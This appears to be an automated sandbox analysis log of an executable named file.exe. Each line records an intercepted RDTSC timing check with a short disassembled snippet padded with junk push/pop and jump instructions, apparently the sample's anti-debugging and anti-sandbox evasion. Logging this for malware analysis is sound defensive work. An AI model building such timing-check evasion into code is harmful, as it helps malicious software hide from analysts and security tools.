Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF2A4D second address: DF2A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F34D second address: E4F352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E517FB second address: E51800 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E51800 second address: E51820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jo 00007F0F91376D6Fh 0x0000000b jmp 00007F0F91376D63h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5917A second address: E59180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E59180 second address: E59184 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E570DB second address: E570F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E570F6 second address: E57104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F0F91376D56h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E572B2 second address: E572B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E572B8 second address: E572D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F91376D64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E572D0 second address: E572F9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0F90B9EDE6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007F0F90B9EDE6h 0x00000017 jmp 00007F0F90B9EDF2h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E572F9 second address: E572FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E572FD second address: E57303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57458 second address: E574A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F0F91376D56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F0F91376D63h 0x00000012 jmp 00007F0F91376D66h 0x00000017 jmp 00007F0F91376D64h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E574A3 second address: E574CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push ebx 0x0000000b jmp 00007F0F90B9EDF7h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57D42 second address: E57D46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58634 second address: E5864E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F90B9EDF6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E588CD second address: E588D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D078 second address: E5D0A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F0F90B9EDE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jmp 00007F0F90B9EDF0h 0x00000012 pop ebx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jc 00007F0F90B9EDE6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D0A0 second address: E5D0B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0F91376D5Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D210 second address: E5D242 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0F90B9EDEEh 0x00000010 jmp 00007F0F90B9EDEEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D242 second address: E5D248 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D248 second address: E5D250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D250 second address: E5D267 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D63h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D38F second address: E5D393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D393 second address: E5D399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D4D2 second address: E5D4D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D4D8 second address: E5D51E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F0F91376D63h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F0F91376D5Eh 0x00000014 popad 0x00000015 jmp 00007F0F91376D62h 0x0000001a push eax 0x0000001b push edx 0x0000001c js 00007F0F91376D56h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D927 second address: E5D943 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F0F90B9EDE6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D943 second address: E5D963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F0F91376D62h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F0F91376D56h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DADE second address: E5DAF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c jnc 00007F0F90B9EDE6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DAF0 second address: E5DAF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DAF4 second address: E5DAFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DAFA second address: E5DB15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F91376D60h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5DCC1 second address: E5DCC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6A815 second address: E6A819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68A41 second address: E68A49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68A49 second address: E68A4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68A4D second address: E68A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68A57 second address: E68A6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F91376D64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68A6F second address: E68A73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68A73 second address: E68A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F0F91376D58h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6911C second address: E6915C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007F0F90B9EDFBh 0x0000000b jnl 00007F0F90B9EDE6h 0x00000011 jmp 00007F0F90B9EDEFh 0x00000016 jmp 00007F0F90B9EDF9h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6915C second address: E69160 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E69160 second address: E69166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E69166 second address: E6917A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F0F91376D5Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6917A second address: E6919A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F0F90B9EDF7h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6919A second address: E691B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F0F91376D5Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E692F6 second address: E69310 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E69310 second address: E69316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E69316 second address: E6931A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E69582 second address: E6958B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6958B second address: E69591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6A626 second address: E6A62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6A62C second address: E6A67D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F0F90B9EDFAh 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007F0F90B9EDE6h 0x00000017 jmp 00007F0F90B9EDF2h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E685F7 second address: E68619 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jng 00007F0F91376D56h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0F91376D5Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68619 second address: E6861D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6861D second address: E68627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6FC6A second address: E6FC74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F0F90B9EDE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74994 second address: E74998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74998 second address: E7499C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7499C second address: E749A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E749A6 second address: E749AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74B4D second address: E74B5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74B5F second address: E74B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74B64 second address: E74B81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D68h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74B81 second address: E74BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0F90B9EDE6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0F90B9EDEFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E74BA0 second address: E74BA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E772AC second address: E772B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82991 second address: E82996 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E82996 second address: E829A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 jo 00007F0F90B9EDE6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E829A4 second address: E829DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edi 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e pushad 0x0000000f jnc 00007F0F91376D56h 0x00000015 jmp 00007F0F91376D5Ch 0x0000001a popad 0x0000001b push esi 0x0000001c jmp 00007F0F91376D5Eh 0x00000021 pop esi 0x00000022 jo 00007F0F91376D62h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E829DE second address: E829E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E895B4 second address: E895BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E895BD second address: E895C7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0F90B9EDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E96B1A second address: E96B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E969A9 second address: E969AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E969AF second address: E969BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E969BD second address: E969C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F260 second address: E9F264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F264 second address: E9F289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0F90B9EDE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F0F90B9EDF2h 0x00000015 jmp 00007F0F90B9EDECh 0x0000001a push ecx 0x0000001b push esi 0x0000001c pop esi 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F289 second address: E9F2A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F91376D66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F2A5 second address: E9F2A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F2A9 second address: E9F2AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9F2AD second address: E9F2B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9DE9C second address: E9DEAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F0F91376D56h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9DEAF second address: E9DEC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F0F90B9EDECh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E012 second address: E9E021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jg 00007F0F91376D5Ah 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E021 second address: E9E042 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF4h 0x00000007 pushad 0x00000008 jns 00007F0F90B9EDE6h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCA4E second address: EBCA61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jo 00007F0F91376D56h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCA61 second address: EBCA6B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0F90B9EDEEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0EC7 second address: EC0EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jnl 00007F0F91376D5Eh 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007F0F91376D62h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0EE7 second address: EC0EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0EED second address: EC0EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0EF1 second address: EC0F02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F90B9EDEDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0A51 second address: EC0A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F91376D5Ah 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0A64 second address: EC0A70 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0F90B9EDE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0A70 second address: EC0A7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F0F91376D56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED636D second address: ED6382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F90B9EDEFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6382 second address: ED638D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED638D second address: ED63A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
